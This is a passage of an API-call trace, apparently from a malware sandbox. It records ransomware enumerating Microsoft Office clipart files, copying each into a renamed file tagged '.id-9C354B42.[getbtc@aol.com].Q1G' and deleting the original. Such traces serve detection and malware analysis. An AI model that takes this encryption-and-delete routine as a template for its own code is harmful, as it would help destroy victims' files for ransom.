lstrlenW (lpString=".rar") returned 4 [0256.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString=".bz2") returned 4 [0256.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString=".7z") returned 3 [0256.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString=".dbf") returned 4 [0256.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString=".1cd") returned 4 [0256.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString=".jpg") returned 4 [0256.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString=".doc") returned 4 [0256.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.502] lstrlenW (lpString=".docx") returned 5 [0256.502] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.502] lstrlenW (lpString=".pdf") returned 4 [0256.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.502] lstrlenW (lpString=".xls") returned 4 [0256.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.502] lstrlenW (lpString=".xlsx") returned 5 [0256.502] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.502] lstrlenW (lpString=".ppt") returned 4 [0256.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.502] lstrlenW (lpString=".zip") returned 4 [0256.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.502] lstrlenW (lpString=".rar") returned 4 [0256.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.502] lstrlenW (lpString=".bz2") returned 4 [0256.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.502] lstrlenW (lpString=".7z") returned 3 [0256.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.502] lstrlenW (lpString=".dbf") returned 4 [0256.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.502] lstrlenW (lpString=".1cd") returned 4 [0256.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.502] lstrlenW (lpString=".jpg") returned 4 [0256.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.502] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.502] lstrlenW (lpString="J0105332.WMF") returned 12 [0256.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.503] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=10508) returned 1 [0256.503] CloseHandle (hObject=0x3a8) returned 1 [0256.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20 [0256.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.503] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.504] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0256.504] GetLastError () returned 0x0 [0256.504] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x290c, lpOverlapped=0x0) returned 1 [0256.506] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2910, lpOverlapped=0x0) returned 1 [0256.506] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.507] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.507] SetEndOfFile (hFile=0x3dc) returned 1 [0256.507] CloseHandle (hObject=0x3dc) returned 1 [0256.507] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.507] SetEndOfFile (hFile=0x3a8) returned 1 [0256.509] CloseHandle (hObject=0x3a8) returned 1 [0256.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.510] lstrlenW (lpString=".doc") returned 4 [0256.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.510] lstrlenW (lpString=".docx") returned 5 [0256.510] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.510] lstrlenW (lpString=".pdf") returned 4 [0256.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.510] lstrlenW (lpString=".xls") returned 4 [0256.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.510] lstrlenW (lpString=".xlsx") returned 5 [0256.510] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.510] lstrlenW (lpString=".ppt") returned 4 [0256.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.510] lstrlenW (lpString=".zip") returned 4 [0256.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.510] lstrlenW (lpString=".rar") returned 4 [0256.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.510] lstrlenW (lpString=".bz2") returned 4 [0256.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.510] lstrlenW (lpString=".7z") returned 3 [0256.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.510] lstrlenW (lpString=".dbf") returned 4 [0256.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.510] lstrlenW (lpString=".1cd") returned 4 [0256.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.510] lstrlenW (lpString=".jpg") returned 4 [0256.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.511] lstrlenW (lpString=".doc") returned 4 [0256.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString=".docx") returned 5 [0256.511] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.511] lstrlenW (lpString=".pdf") returned 4 [0256.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString=".xls") returned 4 [0256.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.511] lstrlenW (lpString=".xlsx") returned 5 [0256.511] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.511] lstrlenW (lpString=".ppt") returned 4 [0256.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.511] lstrlenW (lpString=".zip") returned 4 [0256.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.511] lstrlenW (lpString=".rar") returned 4 [0256.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString=".bz2") returned 4 [0256.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString=".7z") returned 3 [0256.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.511] lstrlenW (lpString=".dbf") returned 4 [0256.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.511] lstrlenW (lpString=".1cd") returned 4 [0256.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0256.511] lstrlenW (lpString=".jpg") returned 4 [0256.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.512] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.512] lstrlenW (lpString="J0105336.WMF") returned 12 [0256.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.512] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2900) returned 1 [0256.512] CloseHandle (hObject=0x3a8) returned 1 [0256.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20 [0256.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.513] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.513] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0256.513] GetLastError () returned 0x0 [0256.513] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xb54, lpOverlapped=0x0) returned 1 [0256.515] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xb60, lpOverlapped=0x0) returned 1 [0256.515] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.515] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.516] SetEndOfFile (hFile=0x3dc) returned 1 [0256.516] CloseHandle (hObject=0x3dc) returned 1 [0256.516] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.516] SetEndOfFile (hFile=0x3a8) returned 1 [0256.518] CloseHandle (hObject=0x3a8) returned 1 [0256.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0256.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.519] lstrlenW (lpString=".doc") returned 4 [0256.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.519] lstrlenW (lpString=".docx") returned 5 [0256.519] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.519] lstrlenW (lpString=".pdf") returned 4 [0256.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString=".xls") returned 4 [0256.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.520] lstrlenW (lpString=".xlsx") returned 5 [0256.520] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.520] lstrlenW (lpString=".ppt") returned 4 [0256.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.520] lstrlenW (lpString=".zip") returned 4 [0256.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.520] lstrlenW (lpString=".rar") returned 4 [0256.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString=".bz2") returned 4 [0256.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString=".7z") returned 3 [0256.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.520] lstrlenW (lpString=".dbf") returned 4 [0256.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.520] lstrlenW (lpString=".1cd") returned 4 [0256.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.520] lstrlenW (lpString=".jpg") returned 4 [0256.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.520] lstrlenW (lpString=".doc") returned 4 [0256.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString=".docx") returned 5 [0256.520] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.520] lstrlenW (lpString=".pdf") returned 4 [0256.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.520] lstrlenW (lpString=".xls") returned 4 [0256.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.521] lstrlenW (lpString=".xlsx") returned 5 [0256.521] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.521] lstrlenW (lpString=".ppt") returned 4 [0256.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.521] lstrlenW (lpString=".zip") returned 4 [0256.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.521] lstrlenW (lpString=".rar") returned 4 [0256.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.521] lstrlenW (lpString=".bz2") returned 4 [0256.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.521] lstrlenW (lpString=".7z") returned 3 [0256.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.521] lstrlenW (lpString=".dbf") returned 4 [0256.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.521] lstrlenW (lpString=".1cd") returned 4 [0256.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0256.521] lstrlenW (lpString=".jpg") returned 4 [0256.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.521] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.521] lstrlenW (lpString="J0105338.WMF") returned 12 [0256.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.522] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=11584) returned 1 [0256.522] CloseHandle (hObject=0x3a8) returned 1 [0256.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20 [0256.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.522] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.522] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0256.523] GetLastError () returned 0x0 [0256.523] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2d40, lpOverlapped=0x0) returned 1 [0256.828] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2d50, lpOverlapped=0x0) returned 1 [0256.829] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.831] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.831] SetEndOfFile (hFile=0x3dc) returned 1 [0256.968] CloseHandle (hObject=0x3dc) returned 1 [0257.023] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.023] SetEndOfFile (hFile=0x3a8) returned 1 [0257.025] CloseHandle (hObject=0x3a8) returned 1 [0257.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0257.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.145] lstrlenW (lpString=".doc") returned 4 [0257.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.145] lstrlenW (lpString=".docx") returned 5 [0257.145] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.145] lstrlenW (lpString=".pdf") returned 4 [0257.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.145] lstrlenW (lpString=".xls") returned 4 [0257.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.145] lstrlenW (lpString=".xlsx") returned 5 [0257.145] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.145] lstrlenW (lpString=".ppt") returned 4 [0257.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.145] lstrlenW (lpString=".zip") returned 4 [0257.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.145] lstrlenW (lpString=".rar") returned 4 [0257.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.145] lstrlenW (lpString=".bz2") returned 4 [0257.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.145] lstrlenW (lpString=".7z") returned 3 [0257.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.145] lstrlenW (lpString=".dbf") returned 4 [0257.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0257.145] lstrlenW (lpString=".1cd") returned 4 